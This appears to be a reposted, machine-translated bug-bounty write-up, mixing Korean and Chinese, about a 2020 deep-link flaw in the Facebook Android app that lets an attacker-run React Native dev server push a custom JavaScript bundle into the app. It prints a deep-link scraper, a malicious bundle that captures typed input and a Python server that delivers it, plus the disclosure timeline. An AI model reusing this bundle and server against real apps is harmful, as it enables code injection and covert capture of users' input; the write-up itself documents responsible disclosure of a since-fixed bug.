백도어 Facebook 앱에 딥링킹을 사용하는 방법

WBOY
풀어 주다: 2023-05-19 14:49:36
앞으로
1545명이 탐색했습니다.

최근 저자는 페이스북 안드로이드 앱에서 딥링크 취약점을 발견했습니다. 이 취약점을 이용하여 사용자의 휴대폰에 설치된 페이스북 안드로이드 앱을 백도어 프로그램(Backdoor)으로 변환하여 백도어링을 수행할 수 있습니다. 또한, 이 취약점은 Facebook 애플리케이션을 재패키지하고 이를 선택된 대상 피해자에게 전송하여 설치 및 사용하는 데에도 사용될 수 있습니다. 작성자가 이 취약점을 발견한 과정과, 이것이 Payload 구축을 통해 Facebook APP의 실제 제작 환경에서 궁극적으로 어떻게 보안 위험으로 변환되었는지 살펴보겠습니다.

Vulnerability Discovery

보통 공개 테스트를 할 때 먼저 대상 시스템의 적용 메커니즘을 꼼꼼히 이해합니다. 지난 블로그에서 Facebook APP을 파싱하여 FB4A 매개변수 애플리케이션에서 딥링크(딥링크)를 발견한 경험을 공유한 적이 있는데, 여기서는 먼저 제가 작성한 스크립트 파일을 공유하겠습니다. 스크립트 파일은 - Facebook APK에서 딥 링크(딥 링크) 추출 전용 Python 기반 코드 프로그램인 Facebook Android Deeplink Scraper(FBLinkBuilder.py)입니다.

import os 
import json
import argparse
from zipfile import ZipFile 
from datetime import datetime

fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename

parser = argparse.ArgumentParser() 
parser.add_argument('-i', help='Facebook APK file')
parser.add_argument('-o', help='Output file', nargs='?', default=fname)
parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False)
args = parser.parse_args()

file_name = args.i #apk
output_name = args.o #generated output / provided
exported = args.e #False / provided

with ZipFile(file_name, 'r') as zip: 
    print('Extracting native routes file...') #fyi
    
    data = zip.read('assets/react_native_routes.json') #extract file from zip
    js = json.loads(data.decode("utf-8")) #to read as list

    params = '' #placeholder
    
    i = 0 #deeplink count
    
    text_file = open(output_name, "w") #open output

    print('Manipulating data...') #fyi
    for key in js: #for each block in json
        for key2 in key['paramDefinitions']: #grab the collection of params
            params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type
            
        if exported: #exported only
            if key.get('access','') != 'exported': #check access key
                params = '' #Reset params
                continue #try next block
                
        link = 'fb:/' + key['path'] + '/?' + params #build link
        print(link[:-1]) #fyi
        text_file.write(link[:-1]+ '\n') #write to file
        i += 1 #increase counter
        params = '' #reset params

    text_file.close() #save file
    
    print('File: ' + output_name + ' saved') #fyi
    print(str(i) + ' deep links generated') #fyi
로그인 후 복사

다운로드 소스: https://github.com/ashleykinguk /FBLinkBuilder/

Usage: .FBLinkBuilder.py -i fb0409.apk

FBLinkBuilder.py를 실행하면 서로 다른 앱 버전 간에 나타나는 딥 링크를 비교하여 서로 다른 앱 버전 앱 서비스 변경 사항을 관찰할 수 있습니다. 저는 이것을 사용했습니다. 2020년 버전의 Facebook 앱에서 안전하지 않은 딥링크를 발견하는 방법: fb://rnQuantum_notification_handler/?address=, 2020년 버전에 Facebook 앱이 추가된 것은 이번이 처음입니다.

이 딥링크의 매개변수 형식은 호스트 이름/IP이므로 자체 서버 192.168.0.2를 사용하여 테스트를 수행했습니다. fb://rnQuantum_notification_handler/?address=192.168.0.2:8224, 이 링크를 전달했습니다. Facebook 앱에 다음 팝업 창이 나타납니다.

如何利用深度链接方式后门化Facebook APP"Enable Quantum" 버튼을 클릭하면 Facebook 앱이 다시 시작됩니다. 이후 변경 사항을 찾아보았으나 특이한 점은 없는 것 같습니다. 그것. 다음으로 네트워크 트래픽에 관심을 돌렸습니다. 그때 보안 연구원들이 이 기능을 이용해 페이스북의 인증서 피닝(Certificate Pinning)을 일시적으로 우회할 수 있도록 페이스북이 최근 공개한 화이트햇 테스트 기능이 생각났습니다. ) 및 기타 보안 제한 사항을 테스트하여 Facebook 관련 애플리케이션의 네트워크 트래픽을 테스트합니다. White Hat 테스트 기능을 사용했고 위 작업을 수행한 후 Facebook 애플리케이션이 다음과 같은 나가는 링크 요청을 발행한다는 것을 발견했습니다:

http://192.168.0.2:8224/message?device=Android+SDK+build+ for+ x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImpl

http://192.168.0.2:8224/status

여기서 첫 번째 요청 메커니즘은 다음을 기반으로 모바일 장치 속성 정보를 전달하는 것입니다. , websocket 연결을 설정하려고 합니다. 두 번째 요청은 요청 호스트 packager-status:running의 상태 정보를 반환합니다. 이는 Facebook의 반응 네이티브 소스 코드에 내장된 매개변수입니다. Github: /com/을 참조할 수 있습니다. 페이스북/반응/devsupport/DevServerHelper .java.

그리고 내 서버 192.168.0.2에서 응답 메시지를 구성하려고 할 때 Facebook 앱에서 생성된 또 다른 요청을 발견했습니다.

http://192.168.0.2:8224/RKJSModules/EntryPoints/Fb4aBundle .bundle?platform =android&dev=true&minify=false

이 요청의 목적은 패키지 파일에 저장된 FB4A 매개변수를 찾는 것입니다. 예비 분석에 따르면 매개변수는 일반적인 hbc* 형식이 아닌 일반 텍스트로 Facebook 앱에 저장되어야 합니다. 테스트를 위해 FB4A 매개변수를 hbc* 형식으로 입력하려고 시도했지만 결국 Facebook 앱이 충돌했습니다.
실제로 페이스북 APP의 경우 2019년 이전에는 패키징 파일(번들)이 /assets/ 디렉터리에 정식 파일로 저장되어 있었지만, 2019년 이후 페이스북에서는 hbc 형식(*Hermes ByteCode)을 도입한 반면, APK를 축소하고, 핵심 코드가 명시적으로 드러나는 것을 방지합니다. 페이스북 APP용으로 250M 정도의 패키지 파일을 생성하기 위해 hbc 포맷 툴인 HBCdump를 사용해 보았으나 소용이 없는 것 같았습니다.

페이스북 앱

을 하이재킹한 후 패키지 파일을 찾는 다른 방법을 생각했습니다. 즉, 이전 버전의 페이스북 앱을 확인하고 일반 텍스트 패키지의 내용을 모바일 기기에서 생성된 오류 메시지와 비교하는 것이었습니다. . 오류 메시지는 logcat을 통해 표시됩니다. 비교 후 다음 단서를 찾았습니다.

__fbBatchedBridge - APP 애플리케이션과 동기화된 다양한 기능 구성 요소를 포함하는 패키지 파일의 필수 개체

__fbBatchedBridge.callFunctionReturnFlushedQueue - APP 배경에서 호출할 때마다 호출되는 함수 해당 작업이나 이벤트를 수행합니다.

위 결과를 바탕으로 제가 만든 패키지 파일을 Facebook APP에서 성공적으로 다운로드하고 실행할 수 있도록 하는 것이 제 생각입니다. 이 목적을 달성하려면 패키지 파일을 직접 작성한 다음 자체적으로 호스팅해야 합니다. 호스팅 호스트 192.168.0.2 중간. 다음은 제가 구성한 FB4abundle.js 패키지 파일입니다:

/* contact@ash-king.co.uk */

var i = 0, logs = ''; /* our local vars */

/*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */
var __fbBatchedBridge = { 
	_lazyCallableModules: {},
	_queue: [[], [], [], 0],
	_callID: 0,
	_lastFlush: 0,
	_eventLoopStartTime: Date.now(),
	_immediatesCallback: null,
    callFunctionReturnFlushedQueue: function(module, method, args) {
		return __fbBatchedBridge.__guard(function() {
		  __fbBatchedBridge.__callFunction(module, method, args)
		}), __fbBatchedBridge.flushedQueue()
	},
    callFunctionReturnResultAndFlushedQueue: function(e, u, s) {
		return __fbBatchedBridge.__guard(function() {
		  throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a);
		}), __fbBatchedBridge.flushedQueue()
	},
    invokeCallbackAndReturnFlushedQueue: function(a,b,c) { 
		throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a);
	},
	flushedQueue: function(a, b) {
		if(a != undefined){
			throw new Error('flushedQueue: ' + b)
		}
		__fbBatchedBridge.__callImmediates(); 
		const queue = __fbBatchedBridge._queue;
		__fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID];
		return queue[0].length ? queue : null;
	},
	onComplete: function(a) { throw new Error(a) },	
	__callImmediates: function() {
		if (__fbBatchedBridge._immediatesCallback != null) {
		  __fbBatchedBridge._immediatesCallback();
		  throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback());
		}
	},
	getCallableModule: function(a) { 
		const getValue = __fbBatchedBridge._lazyCallableModules[a];
		return getValue ? getValue() : null;
	},
	__callFunction: function(a,b,c) {
		if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings
			i += 1 //increment count
			logs += JSON.stringify(c) + '\n'; //JSON Object
			if(i > 10) {
				/* Here is where we will write out to logcat via js*/
				var t = (nativeModuleProxy);
				throw new Error('Look HERE: ' + (logs) + '\n\r'); 
			}
		}
		__fbBatchedBridge._lastFlush = Date.now();
		__fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush;
		const moduleMethods = __fbBatchedBridge.getCallableModule(a);
		try {
			moduleMethods[b].apply(moduleMethods, c);
		} catch (e) {
			
		}
		return -1
	},
	__guard: function(e) {
		try {
			e();
		} catch (error) {
			throw new Error('__guard: ' + error); 
		}	
	}
};
로그인 후 복사

另外需要一个脚本文件fb_server.py,以便让Facebook APP自动调用该包文件

#contact@ash-king.co.uk

from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(500)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))

    def do_GET(self):
        if self.path == '/status':
            self.resp_status()
        elif str(self.path).find('message?device=') > -1:
            self.resp_message()
        elif str(self.path).find('Fb4aBundle.bundle') > -1:
            self.resp_fb4a()

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8'))
        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

    def resp_message(self):
        logging.info("resp_message")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

    def resp_status(self):
        logging.info("resp_status")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("packager-status:running", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        
    def resp_fb4a(self):
        logging.info("resp_bundle")
        self.send_response(200)
        self.send_header('Content-type', 'multipart/mixed')
        self.end_headers()
        with open('FB4abundle.js', 'rb') as file: 
            self.wfile.write(file.read())
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

def run(server_class=HTTPServer, handler_class=S, port=8224):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    run()
로그인 후 복사

综合深度链接、包文件调用和我自己构造加入的"Enable Quantum"URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:

如何利用深度链接方式后门化Facebook APP

漏洞影响

恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。

然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:

Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.

之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。

Facebook安全团队的漏洞评估

“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”

漏洞上报和处理进程

2020.6.20 - 漏洞上报
2020.6.22 - 提供技术细节
2020.6.23 - Facebook把该漏洞分类为N/A
2020.6.23 - 我在Youtube上公布POC视频 
2020.6.23 - Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 - 漏洞分类
2020.6.26 - Facebook通过关闭Quantum功能进行缓解
2020.8.20 - Facebook修复该漏洞
2020.9.17 - Facebook赏金奖励支付

위 내용은 백도어 Facebook 앱에 딥링킹을 사용하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:yisu.com
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿
회사 소개 부인 성명 Sitemap
PHP 중국어 웹사이트:공공복지 온라인 PHP 교육,PHP 학습자의 빠른 성장을 도와주세요!